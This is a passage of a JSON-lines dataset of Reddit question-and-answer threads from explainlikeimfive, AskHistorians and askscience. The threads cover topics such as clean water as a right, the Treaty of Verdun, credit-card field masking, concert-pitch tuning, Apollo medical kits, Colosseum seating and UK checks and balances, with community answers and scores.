important areas. IE Point at the flight deck, galleys etc etc.\n\nMost airlines will say that they don't want to invest in them becuase of two things 1. Weight and 2. No use."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "9xo5r6", "title": "why is access to clean drinking water considered a human right but not access to quality food?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xo5r6/eli5_why_is_access_to_clean_drinking_water/", "answers": {"a_id": ["e9tqw1w", "e9tqx47", "e9tqy6j", "e9tr513", "e9trfv0", "e9tvfo4", "e9u3o52"], "score": [6, 7, 14, 4, 5, 2, 2], "text": ["Well for one, the body can go longer without food than it can without water.  Also, \u201cquality food\u201d is subjective, and I think most countries aren\u2019t going to serve you \u201cclean food\u201d to an American standards, at least not in the second and third worlds.\n\nBesides, there are plenty of programs for that sort of thing, and free trade is typically what makes food more readily available.", "There is a process by which services are re-imagined as rights.  Governments are generally empowered to utilize power to protect \"rights' more than to protect services.  People who favor consolidating more power in the government promote this concept of expanding \"rights\".  \n\n & #x200B;\n\nNo one has a right to another person's labor.  That's the moral foundation of slavery.  But it's also the moral foundation of government power centralization.", "Dirty water can kill you in a few days.\n\nLow quality food will do it too but takes way longer and it is easier to handle.\n\n", "We don't have the pipes laid to pump Soylent into your home yet, nor enough willing ingredients /s\n\nReally though, not even every house is assured access to clean water. There are many homes that are fed by a well or spring and would never get water service without paying a huge sum. While we strive to ensure that people have access to clean drinking water, it isn't a guarantee\n\nThe same with food. Between food stamps and food subsidies you should be able to get enough nutrition to survive. Again, while not guaranteed they do a pretty good job of giving most people access to affordable food", "Water companies are obligated to provide clean water, and they are paid by the consumers.\n\nFood companies are obligated to provide clean food - the United States has a large agency, the FDA, tasked with ensuring that this happens.", "In addition to what some others have mentioned about dying faster without water than without healthy food, I guess an argument can be make that your food can be offset with lifestyle modifications, so it's technically possible to be fine. You can't do much about dirty water. Also, it's harder to quantify at what level is food unsafe to eat unlike water.", "Perhaps it is because there are a wide variety of sources that can provide a supply of healthy food at reasonable prices.  The government does not need to intervene.  Clean water, on the other hand may not be available at all in some areas if the government did not treat it as a utility. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "vai96", "title": "To what extent did the division of Charlemagne's empire through the Treaty of Verdun lead to the creation of France and Germany as we know them today?", "selftext": "The division of the kingdom seems so haphazard. But were the [three kingdoms that were defined in the treaty](_URL_0_) previously distinct entities? Or did the division serve as a template from which France and Germany (via the HRE) grew as a result?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/vai96/to_what_extent_did_the_division_of_charlemagnes/", "answers": {"a_id": ["c52r2mc"], "score": [5], "text": ["Charlemagne and his son Louis the Pious were the last emperors that ruled over a united Frankish Empire. Frankish custom made it so that heritage of a dead father was split between his sons. So the  three sons of Louis divided the Empire in three parts with the Treaty of Verdun in 843 after a civil war had raged for three years. Lothair became emperor and claimed the Middle-Empire. Louis the German in Bavaria or the eastern part, and Charles the Bald in Aquitaine or the western part. Middle-Francia did not last long however, and was contest by both the East-Franks and the West-Franks. \n\nHowever, the east and west parts lasted longer (a few centuries), but eventually could not resist outside pressure of the Vikings and Magyars. Central control crumbled and regional leaders grew in power. This happend in both the western part as the eastern part, where new dynasties came into power. With the fall of Franks the western part and the eastern part were divided forever and came to be as France and Germany. "]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Treaty_of_Verdun"], "answers_urls": [[]]}
{"q_id": "wfkda", "title": "Are there currently more human skeletons then there are humans living currently?", "selftext": "Skeletons don't last forever, many will break down over time.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wfkda/are_there_currently_more_human_skeletons_then/", "answers": {"a_id": ["c5cz9ti"], "score": [3], "text": ["Yes, because all living humans have a skeleton, and there are some skeletons which don't belong to living humans."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dwmrzs", "title": "Why does evaporating water leave rings rather than a solid deposit or a gradient of deposit?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/dwmrzs/why_does_evaporating_water_leave_rings_rather/", "answers": {"a_id": ["f7o5v5l"], "score": [9], "text": ["Evaporation is faster at the outside edge of a water drop rather than the center, because there's more surface area exposed at the edge per volume.  But the edge of the drop is held in place by surface tension.  This causes water to flow from the center of the drop out toward the edge, carrying small particles with it, that accumulate at the edge of the drop.\n\n_URL_0_\n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.drbeasleys.com/blog/2019/02/21/what-causes-water-spots-on-cars/", "https://physics.aps.org/articles/v6/7"]]}
{"q_id": "4az8da", "title": "is there a limit to the amount of flavor a person can process?", "selftext": "Is that pepper actually hotter than a person can taste, or is sugar sweeter but a person is limited by their taste buds or brain receptors?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4az8da/eli5_is_there_a_limit_to_the_amount_of_flavor_a/", "answers": {"a_id": ["d14qt18", "d14v96l", "d1533ir"], "score": [88, 24, 2], "text": ["Yes, there is a point where your sensory receptors become 100% satiated and no longer accept additional imput.\n\nYou can test this yourself.  Close your eyes, and have a friend hold something fragrant under your nose for between 5 and 10 seconds, an try to guess when they take it away.  Chances are you will guess too early, because your scent receptors filled up, and no longer registered the smell.", "Hey! Food Scientist here! This is actually a REALLY cool question! First and simply: YES! There is! But, is it the same for everyone!? NO WAY!\n\nOur taste is based on several sensory inputs from our body which will include the actual taste from your mouth, input from your olfactory (your nose/smell) and even what you see or hear can influence the flavors you sense!\n\nWhat I BELIEVE you are asking about is your mouth sensing though. Your mouth tastes through \"taste buds\" as most people refer to them as and there are different levels of \"tasters\". Tasters can be non-tasters (a low amount of taste buds per square inch) average tasters (an average amount of taste buds per square inch) and a super taster (highest amount of taste buds per square inch). On top of this, other people may be more/less tolerant of certain flavors. This will also have an impact on your taste just like having a low/limited sense of smell can as well!\n\nTo put into a real world example: if you make a sugar-water drink where you put 0.5 grams of sugar you won't notice it much. Then go in a little more and a little more until its VERY sweet. Eventually you will hit a point where adding more sugar does not allow you to taste any higher concentrations of it!\n\nTL:DR: yes!", "Humans can only see a small percentage of the spectrum of light. So there is definitely a limit on what you can taste/see."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2401np", "title": "why cant i just use regular saline solution with gas-permeable (hard) contact lenses instead of the expensive \"conditioning solution\" that i'm told to use?", "selftext": "Ive worn gas-permeable rigid lenses for a few years and the conditioning solution is over $9 for a 3.5 oz bottle. But the saline solution for sod lenses costs just $4 for a 12 oz bottle. Ive never gotten an answer on why the special expensive solution is necessary. Cant I just use saline on my lenses?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2401np/eli5_why_cant_i_just_use_regular_saline_solution/", "answers": {"a_id": ["ch2fz8a"], "score": [4], "text": ["In addition to cleaning the lenses the conditioning solution also coats the GP lenses to make them smooth and slippery. This makes the lens more comfortable to wear.\n\nThe soft lenses don't require conditioning a) because they're soft already b) generally you wear them for a shorter period of time"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1yfmql", "title": "why don't credit card numbers when typed on-line appear like ********, the same as when we type our passwords?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yfmql/eli5_why_dont_credit_card_numbers_when_typed/", "answers": {"a_id": ["cfk26oz", "cfk27sf", "cfk28j5", "cfk3h84", "cfk55oh", "cfk5gxk", "cfk6ywf", "cfkclfb"], "score": [91, 21, 8, 3, 2, 2, 2, 2], "text": ["You regularly hand your card containing those numbers to random people, they are not so private that you have to keep people from looking over your shoulder at them.", "Replacing the letters with **** is optional. It was created to prevent people from looking over your shoulder and seeing your password as you type it. Past that it offers no additional security.\n\nThey could replace it with **** but it would be annoying since most people don't memorize their car numbers and you wouldn't know if you typed it in correctly, or loose you place when typing.", "When websites blank out the password it doesn't make it any more secure other than hiding it from those around you. The transfer of data between your computer and the webserver does not encrypt by asterisking, other features do this (such as using https). Therefore the only objective asterisking your card number would achieve is making it more difficult for you to enter it correctly.\n", "Some places online do star out everything but the last four digits of your credit card. However, most people don't have their credit card number memorized. A couple errors, and a customer may give up on the purchase. So, most stores display all numbers. They will star out the number on the back of your card- Last three numbers called the security code. \n\nThe real key is to never use your debit card. You are far more exposed using that. ", "Because it's up to the developer to decide wether or not to mask the numbers in an input field. I'd say that it's a convenience thing, some people like to double check their input when they handle long numbers (unless you know your card number by heart, which most people don't). By masking the numbers people would be frustrated when they type their long card numbers wrong. But you could say that about passwords as well, so...\n\nGenerally the masking of passwords is just your web browser replacing the characters you input with asterisks, it's an aesthetic feature that only prevents people from reading your password while snooping behind you but it doesn't hide the password once you click \"Log in\" or \"Submit\" and the password is sent to the server.\n\nYou should be more concerned about websites that handles your credit card information but doesn't use a SSL connection (**https**://www....), which is generally regarded as the more secure way to handle sensitive information since it's being encrypted and sent to the server.", "As someone who makes a living through a website, customers have an incredibly difficult time getting their email address correct on an order form, typing in their password correctly twice, filling in all required fields. Oftentimes they get frustrated and give up on the order.\n\nThey also have a very hard time getting all 16 digits right on their credit card. If they couldn't see the number, it would happen more often. \n\nAs it is, some websites \"lose\" 30% of their sales due to issues that occur after the customer has begun to fill out the order form. ", "Those stars don't actually do anything but make it harder to tell if you've mistyped. Who types credit card numbers on a public computer? ", "Presumably people use their passwords far more often than credit card numbers, so they remember passwords better. That combined with you are far more likely to log into something on a public computer, than purchase something online with a public computer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "bzlfl0", "title": "why did musical instrument tuners change their tuning from 432 hz to 440 hz, and why is that controversial?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bzlfl0/eli5_why_did_musical_instrument_tuners_change/", "answers": {"a_id": ["eqtirld", "equawjp", "eqvewy6"], "score": [3, 3, 3], "text": ["There wasn't a standard frequency with which to tune the tuning A at, originally, so each region had a specific one they chose to tune relative to. Eventually, and I can't remember exactly why or how, it was set to 432 Hz, and then later, to 440 Hz, which is what we used today. Altering *all* of the frequencies in a scale by the same amount of hertz doesn't really make it sound off-pitch, as they're still the same relative to each other. It just makes the music sound \"shifted down\" or \"shifted up\" by a bit. It's not necessarily even a very perceptible difference, either. If you hear one or the other, by itself, you wouldn't typically have any reference with which to decide whether it was tuned with A at 432 Hz or at 440 Hz.", "this article here summarizes the history of pitch standard:  [_URL_0_](_URL_1_)", "There seems to be a lot of misconceptions in this thread, so I'll just try to sort out a few of them.\n\n1. No, changing the concert pitch does *not* mean the harmony changes or anything like that. It is a starting point and shift *everything* equally, so all the *ratios* remain the same. It is the ratios between notes that makes up the harmony.\n2. You do not need to have notes be whole Hz. The unit hertz is just cycles per second. Decimals just means it doesn't resolve in a whole number of seconds. This doesn't matter at all, seconds are just a unit of time we choose to use.\n\nNow, the real reason is much more simple. Basically you just want to decide on a concert pitch as a starting point. The thing is, music existed way before things like international standards were wildly used and communication were a lot more difficult compared to now with the internet. So one region picked one frequency while another picked something else. There have been *a lot* of different numbers, not just 432 and 440. Some tuning forks have been found with things like 455.4 Hz.\n\nNow, they are always around the same. This is useful because while instruments can be made as we want them to be and tuned, the human voice is limited. So you look at singers and their vocal range as well as what is useful musically (a bass tone below what humans can hear is obviously useless).\n\nNow, something interesting that happened was when instrumental music became popular. Because especially stringed instruments sounds better when the strings have more tension, musicians started to tune higher and higher in order to \"sound better\" that each other (obviously all within a group of musicians tuned the same to sound in tune with each other). Now, vocals were still used and it actually did start to become a problem for singers.\n\nIn the end the French were the first to try and standardize it with a law of concert pitch being 435 Hz (although it wasn't called concert pitch back then). Several attempts from mainly France and England were made and in the end we got to 440 Hz (which even now some start to change because they think 432 Hz actually sounds better. This scientifically makes no sense, but let's not get into that discussion)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Concert\\_pitch#History\\_of\\_pitch\\_standards\\_in\\_Western\\_music", "https://en.wikipedia.org/wiki/Concert_pitch#History_of_pitch_standards_in_Western_music"], []]}
{"q_id": "1h017w", "title": "What is the current status, in academic Arthurian studies, of the idea of Sarmatian (Iranian) influence on Arthurian legend?", "selftext": "...as popularized by Scott Littleton, et al. \n\nI've seen that Littleton and Malcor's magnum opus *From Scythia to Camelot*, published nearly two decades ago now, received two reviews in the journal *Arthuriana* - one in which the reviewer says \"there can be no doubt that the evidence which Littleton and Malcor present...is highly suggestive of a connection between Scythian and Arthurian legend\"; the other quite critical, yet ending with the reviewer writing that it nonetheless \"makes a not-insignificant contribution to the ongoing debate about the mythic and folkloric sources of Arthurian literature.\"", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1h017w/what_is_the_current_status_in_academic_arthurian/", "answers": {"a_id": ["caphvup", "capi55i"], "score": [2, 2], "text": ["I personally have never heard of any major influence coming from the Sarmatians, but most of what I know about Arthurian legend is from Frazer and I wasn't very concerned with it when I read him. I find it more than a little hard to believe that Sarmatians could have had any significant influence on the cultural development of post-Roman Britain, since the Romans did not bring a particularly large quantity of Sarmatians to the island, and so far as we are aware these were brought over by the Flavian and Antonine emperors prior to the Third Century. After the Third Century there is a notable lack of care regarding Britain, and a massive decline in the number of troops being sent there. The Sarmatians being settled in Britain were of a fairly small number several hundred years before the development of an Arthurian romance. In any case, I'm under the impression that much of that stuff derives from old Indo-European myths and the epic tradition, which may well predate (at least in some form) the arrival of the Indo-Europeans and particularly the Hittites in the Mediterranean world. There are plenty of other places where Sarmatians were present to a significant degree that really didn't pick up that much from them. \n\nBut hell, I'm not really qualified to speak on this subject, so let's let someone else have a go.", "Other than the book you mention, which I don't know about but will check into, I have never seen a reference to this in anything I have read on Arthurian literature.  It's true that I don't usually read through the Arthurian journals, so I'm not really an expert in that way, but I've read a good share of academic works on Arthurian lit, and most of the medieval sources as well.  This has never come up in anything I've read. \n\nI can only guess that if it is discussed by academics, it's probably a small, fervent, and largely ignored group.  I'd be interested to be corrected on that though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "30lwb9", "title": "what are the students in quebec rallying against? what anti-austerity measures are they trying to fight?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30lwb9/eli5_what_are_the_students_in_quebec_rallying/", "answers": {"a_id": ["cptq98j", "cptw196"], "score": [19, 3], "text": ["They are fighting against the political ideology that austerity is, which englobes way much more than only tuition fees. In 2012 (protests against the raise of the tuition fees), there was a precise goal, it is harder to define one now which may be why many people don't understand  that students are fighting for themsleves, but also our whole society. In 2015, to understand what they are protesting against, you only have to look at the budget. Essentially, the government is cutting in social services and massively funding projects that aim at creating wealth as quickly as possible by letting corporations exploit our ressources without taxing them properly. Those measures are taken from a short sighted perspective that does not take into account future generations. Now, people against austerity are aware of the economical issues that need to be adressed, but at what cost? Austerity is a measure that many economists have denounced  (I.E Joseph E. Stiglitz, recipient of the nobel prize of economy) because of the dangerous repercussions it can cause. There are other ways to create wealth and to fix the issue more gradually without compromising the values and the future of our nation.\n\nTLDR. Austeriy means sacrificing the future for an instant of economical stabilty", "For health students, they're fighting against projects 10, 20 and 28, which will greatly decrease funding, quality and accessibility to healthcare.\n\nThe health minister Gaetan Barrette is looking at it from a numbers perspective; impose quotas and decrease funding to increase \"efficiency\". However, patients aren't numbers in a factory, they're humans. Already doctors and other health professionals only have 3-5 minutes to see you, if you impose higher quotas, what will that number decrease to? Will a 1-2 minute appointment suffice? Also, decreasing funding will limit the number of health professionals that can be employed, further making it impossible to provide adequate healthcare for everyone in the province.\n\nAll I see is that in the future, more errors will be made, all in the name of \"efficiency\" at the expense of human lives. It's a very good example of why utilitarianism is not a good moral principle."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "jdvdl", "title": "computer hardware performance info", "selftext": "For example can someone tell me in detail what the \"Performace Features\" section is talking about [here](_URL_0_)\n\nMost importantly this info... \n\n\"Intel\u00ae Core\u21222 Duo processor\nFeatures a 1066MHz system bus, 6MB shared L2 cache and 1.86GHz processor speed.\n2GB DDR3 SDRAM\nFor multitasking power, expandable to 4GB.\"", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/jdvdl/eli5_computer_hardware_performance_info/", "answers": {"a_id": ["c2bai62", "c2bakuy", "c2bai62", "c2bakuy"], "score": [3, 2, 3, 2], "text": ["This is a tall order.  If you truly want to know details, check out anandtech, hardocp, and tomshardware.\n\nBut in a nutshell:\n\nCore 2 Duo CPU - It's a single chip with two CPUs built into it.  That way the workload is shared between both of them.\n\n1066Mhz system bus - This is what controls the flow of information between things like the RAM, CPU, and the video card.  They all need information from each other to do their jobs.  Picture it as the capacity and speed of a train that goes to only a few important places.\n\n6MB shared L2 cache - This is essentially a very small amount of RAM that is located on the CPU.  It is dedicated memory that is used by the CPU.  While it may only be a small amount, it is extremely fast.  The fact that it's shared means that either of the two cores on that one chip can read or write to it.\n\n1.86Ghz processor speed - The frequency that the CPU runs at.  Basically, the larger this number is, the more cycles it can complete per second.  This is a decent way of comparing processing power between processors that are in the same family.  If you're comparing two different families of processors, it's apples and oranges.\n\n2GB DDR3 SDRAM - 2GB is the amount of RAM you have in the system.  Ram is the temporary \"working\" memory your computer has.  It's how much it can remember before it has to take the time to write something down.  DDR3 SDRAM refers to the standard.  The important thing here is that it's DDR3, which is the 3rd version of \"Double Data Rate\" RAM.  It's standard RAM.  Explaining it in any amount of detail would go beyond the scope of this post.\n\nExpandable to 4GB - this means that you can add more ram - at least until you have a maximum total of 4GB.", "I will tell you something different than what those things mean in detail:\n\nThe thinking part of that machine is 3 years old, such parts today are at least twice as good. The short-term memory part of that machine is worth about $15 in stores today. These are the two most important parts for the \"strength\" of your computer.\n\nIt will most likely run any software you want just fine. It probably won't run new games with moderate to high graphical needs.", "This is a tall order.  If you truly want to know details, check out anandtech, hardocp, and tomshardware.\n\nBut in a nutshell:\n\nCore 2 Duo CPU - It's a single chip with two CPUs built into it.  That way the workload is shared between both of them.\n\n1066Mhz system bus - This is what controls the flow of information between things like the RAM, CPU, and the video card.  They all need information from each other to do their jobs.  Picture it as the capacity and speed of a train that goes to only a few important places.\n\n6MB shared L2 cache - This is essentially a very small amount of RAM that is located on the CPU.  It is dedicated memory that is used by the CPU.  While it may only be a small amount, it is extremely fast.  The fact that it's shared means that either of the two cores on that one chip can read or write to it.\n\n1.86Ghz processor speed - The frequency that the CPU runs at.  Basically, the larger this number is, the more cycles it can complete per second.  This is a decent way of comparing processing power between processors that are in the same family.  If you're comparing two different families of processors, it's apples and oranges.\n\n2GB DDR3 SDRAM - 2GB is the amount of RAM you have in the system.  Ram is the temporary \"working\" memory your computer has.  It's how much it can remember before it has to take the time to write something down.  DDR3 SDRAM refers to the standard.  The important thing here is that it's DDR3, which is the 3rd version of \"Double Data Rate\" RAM.  It's standard RAM.  Explaining it in any amount of detail would go beyond the scope of this post.\n\nExpandable to 4GB - this means that you can add more ram - at least until you have a maximum total of 4GB.", "I will tell you something different than what those things mean in detail:\n\nThe thinking part of that machine is 3 years old, such parts today are at least twice as good. The short-term memory part of that machine is worth about $15 in stores today. These are the two most important parts for the \"strength\" of your computer.\n\nIt will most likely run any software you want just fine. It probably won't run new games with moderate to high graphical needs."]}, "title_urls": [], "selftext_urls": ["http://www.bestbuy.com/site/Apple%26%23174%3B+-+MacBook%26%23174%3B+Air+/+Intel%26%23174%3B+Core%26%23153%3B2+Duo+Processor+/+13.3%22+Display+/+2GB+Memory+/+256GB+Flash+Storage+-+Aluminum/9944951.p?id=1218201437304&amp;skuId=9944951"], "answers_urls": [[], [], [], []]}
{"q_id": "7vlncz", "title": "what is operations management? what do operations manager do?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7vlncz/eli5_what_is_operations_management_what_do/", "answers": {"a_id": ["dtta60z"], "score": [2], "text": ["They are like the director of a movie. \n\nThey are coordinating everything, telling everyone else what to do, like when to buy this stuff, when to sell this stuff, when to make this stuff, how much and how little.\n\nThey are typically the last \"hands on\" management, before you get into upper management boardrooms."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1muwb9", "title": "Did Neil Armstrong and Buzz Aldrin take suicide pills with them to the moon?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1muwb9/did_neil_armstrong_and_buzz_aldrin_take_suicide/", "answers": {"a_id": ["cccutd0", "cccv4ml", "ccczgq9", "ccd082b", "ccd1eay"], "score": [263, 467, 100, 15, 22], "text": ["Probably not. [James Lovell said people have asked him this, and he said 'no'.](_URL_0_) ([Also apparently in his book](_URL_1_)). He's not Neil Armstrong or Buzz Aldrin, but I doubt that it would have changed.\n\nMaybe someone more familiar can confirm or deny?", "For those of you not aware,[ Nixon had a speech lined up if Armstrong and Aldrin *were* stranded.](_URL_0_) ", "[Here's the Medical Kit from the Apollo 11 Lunar Module.](_URL_1_) the kit contained pills and six capsules: four pain killers (Darvon), four stimulant pills (Dexedrine), aspirin, and pills to treat diarrhea. None of the medication was present in dosages high enough to cause death. \n\n[Here's the Kit from the Command Module.](_URL_0_) There are injectable medications in this larger kit, but again no suicide pills. And since this would have remained onboard the CSM, it wouldn't have been available to Armstrong and Aldrin on the Moon. \n\nEDIT: For the sake of completion, [here's the Apollo 11 Survival Kit.](_URL_2_) It contains no medication. ", "According to [this very interesting episode of Caustic Soda](_URL_0_) (and by extension, their expert guest and the sources they cite),  exposure to vacuum results in unconsciousness in about 15 seconds and death no more than a few minutes afterward. Therefore astronauts have no need for suicide pills, as their spaceships are equipped with doors that will do the same job.", "What about cosmonauts? I remember reading somewhere that the first cosmonauts to do an EVA carried suicide pills in case they drifted too far away from the spacecraft. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://history.nasa.gov/SP-350/ch-13-1.html", "http://en.wikipedia.org/wiki/Suicide_pill#NASA_controversy"], ["http://watergate.info/1969/07/20/an-undelivered-nixon-speech.html"], ["http://airandspace.si.edu/collections/artifact.cfm?object=nasm_A19720647000", "http://airandspace.si.edu/collections/artifact.cfm?object=nasm_A19720831000", "http://airandspace.si.edu/collections/artifact.cfm?object=nasm_A19980011000"], ["http://www.causticsodapodcast.com/2013/07/29/space-hazards/"], []]}
{"q_id": "1v4gd6", "title": "How did they do ticketing at the Colosseum?", "selftext": "I assume there was tiered seating, but how was that determined. And you obviously couldn't have assigned seating, so was it first-come-first-serve? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1v4gd6/how_did_they_do_ticketing_at_the_colosseum/", "answers": {"a_id": ["ceos0tu", "ceoxq71", "cep0c4t", "cep219f"], "score": [308, 14, 5, 11], "text": ["They did have tiered seating. Rich and powerful down by the action, poor people up top. The emperor, vestals and senators even had their own entrance.\n\nThere was assigned seating, unless I don't understand the meaning of the phrase. Each gate had a number, each section had a number and each seat had a number. (Donovan. Rome, Ancient and Modern: And Its Environs, Volume 4).  Ticket-taker people were stationed around just as they are baseball stadiums today to make sure people were going to the right place.\n\nThe tickets were also 'free,' in that the organizers gave them to people without taking payment in return. People probably \"paid\" for good tickets somehow, but it was informal. How the tickets were distributed isn't totally clear, but it seems likely that the emperor (or organizer) gave bulk tickets out to a select number of high officials, who parceled them out to their underlings, who parceled them further to their underlings and so on, down to the commoner. (Ward, Heichelheim and Yeo).\n\nImagine your boss gave you tickets to a football game and you go. Other than what you were watching (more head trauma, fewer stabbings) the experience was essentially the same in Rome.\n\nCuneus = Section (well, \"wedge\") \nGradus = Row\nLocus = Seat\n", "How often did events get hosted there?", "What time of day did the events take place?", "It was profession based. With the profession came a certain class and you were put in different sections. The higher class were basically court side, then the middle class who were a little higher up and farther back and then the lower class and poor people were at the very top. For the middle and lower class it was first come first serve as there was only a limited number of seats. The higher class were usually senators or magistrates so they had a specific seat which would have been labeled with their name. Some of those named seats remained and you can see them if you go on a guided tour of the Colosseum. The middle class had it's own section and with that there were subsections for each profession.\n\nWith that separation of class came the actually ticketing and gates. There are numerous number of gates that would have been labeled and you would basically had a piece of poetry that had a gate on it. The higher class did not need these as they had their on seats labeled. The middle class did because if they went to the wrong gate they would have been in the wrong profession section."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3df2zm", "title": "how do professionals restore film for blu-ray releases?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3df2zm/eli5how_do_professionals_restore_film_for_bluray/", "answers": {"a_id": ["ct4igu2", "ct4mud9"], "score": [19, 4], "text": ["Old 35mm film? Well, they scan them, usually at 4K, to future proof for UHD Blu-Ray, as 35mm is around 4K equivalent, movies like Lawrence of Arabia that are filmed on 70mm are scanned at 8K, to future proof for when 8K Blu-rays (or whatever format we will have in 8+ years), movies like Interstellar which are 70mm IMAX, are around 14K equivalent (Interstellar is most likely the last movie in this format). If everything is good, they just transfer it. If they need retouching, they use programs like Photoshop to fix colors, imperfections of the film, etc. for major restorations of animated movies, like the Diamond Edition of The Lion King (which I own on Blu-ray, it's amazing), the artists actually had to re-draw some scenes.  \n  \nThe audio was on the side of the film at the time, so they just digitize that, which is why it wouldn't have true surround sound.", "_URL_1_\n\nThis will explain alot to, its a small documentary about the restoration of Jaws\n\nEdit:\n\n\nHelpful reading :\n\n_URL_0_\n\n _URL_2_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.pocket-lint.com/news/115138-jaws-blu-ray-new-4k-transfer-restoration", "http://youtu.be/hLWvXaeDzwU", "https://en.m.wikipedia.org/wiki/Film_preservation"]]}
{"q_id": "chypjt", "title": "does the uk have a system of checks and balances similar to u.s.a.'s 3 branches?", "selftext": "Let's say there was a national referrendum that represented the will of the people, but there was no actual plan. Is there an authority that could come up with some alternatives without undermining the implicit social contract of the government?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/chypjt/eli5_does_the_uk_have_a_system_of_checks_and/", "answers": {"a_id": ["euzk75b", "euzw815", "ev0akl0", "ev0be9y", "ev0ei54"], "score": [8, 18, 4, 2, 2], "text": ["The UK system is essentially the same as in the US except that the prime minister who fills the same role as the president is elected by indirect vote via the parliament instead of a special presidential election. The US system was basically copied from the British but they replaced the King with an elected president and the upper house of parliament that is filled by the nobility with the senate. The roles of these used to be more similar but nowadays the monarchy is more or less ceremonial only and the upper house lost almost all power also as England has become more democratic.", "Not really, no. There is no strict separation of the legislative and executive. The executive (the PM and the cabinet) is part of the legislative. They are Members of Parliament and effectively chosen by Parliament instead of by a separate election.\n\nWe do have a supreme court which is now separate to Parliament, but without a codified constitution the supreme court can't declare laws passed by Parliament as \"unconstitutional\". They can only make sure that the government's actions are supported by laws passed by Parliament and can advise if a law contradicts another one. But they can't strike down Parliament's laws.\n\nThat's not to say there are no checks and balances at all. The House of Lords is one. It's not elected so it can't completely block laws, but it can delay them and force the House of Commons (the elected part of Parliament) to reconsider them.\n\nThere's also the \"nuclear option\" of the Queen refusing royal assent. Royal Assent is the final step before a bill becomes law, and by convention the Queen will never refuse it. But in theory she could, which would have serious consequences, possibly resulting in the monarchy being abolished.", "No - with a but. In a lot of ways the UK Prime Minister is a lot more powerful than the US President.\n\n1: They are appointed because they are a part of and have control over the legislature (House of Commons). This (usually) means they can pass whatever bills they want. In the US the executive and legislature can be and often are controlled by different parties\n\n2: They can appoint whoever they want to the cabinet (although they have to be MPs or Lords), and do not need to have them confirmed by the legislature.\n\n3: The way a PM gets their power is through royal prerogative - meaning they advise the Queen, and the Queen acts on their advice. In practice the Queens assent is assumed, and the PM can wield her powers with impunity (the Queen is kept informed of all decisions made in her name through daily despatches and weekly meetings with the PM)\n\nAs I mentioned there is a but, and it is a big but - the PM can lose their job much easier than the President can. She/he can be fired both by parliament (through a vote of no confidence) or by their own party (through a leadership challenge). Also given that they are technically appointed by the Queen, she could just dismiss the PM (although such a move would by highly abnormal and if done without reason and public/political support would probably lead to constitutional change)", "The UK has a fully independent civil service, basically the administrators of government policy. These people are professionals who don't change when a new government takes office, but just does the best to implement government policy in the best way possible.", "In addition to what other people have said it\u2019s important to remember that the biggest check on the Government is the Opposition. Together these form Parliament, and any Bill has to be passed by majority vote by Parliament. This isn\u2019t too much of a hurdle for a strong Government with a large majority in the House, but this current Government is actually in the minority - they have less than half of the total seats in the House, but formed a Government on the basis that they are the biggest Party in Parliament. This makes passing a Bill through the House far more difficult, even though the current Government relies on a \u201cconfidence and supply\u201d arrangement with another, smaller Party to do so.\n\nThe House of Lords also acts as a check on Parliament as they have the (albeit limited) power to amend and delay the passing of laws that are ascended by Parliament."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
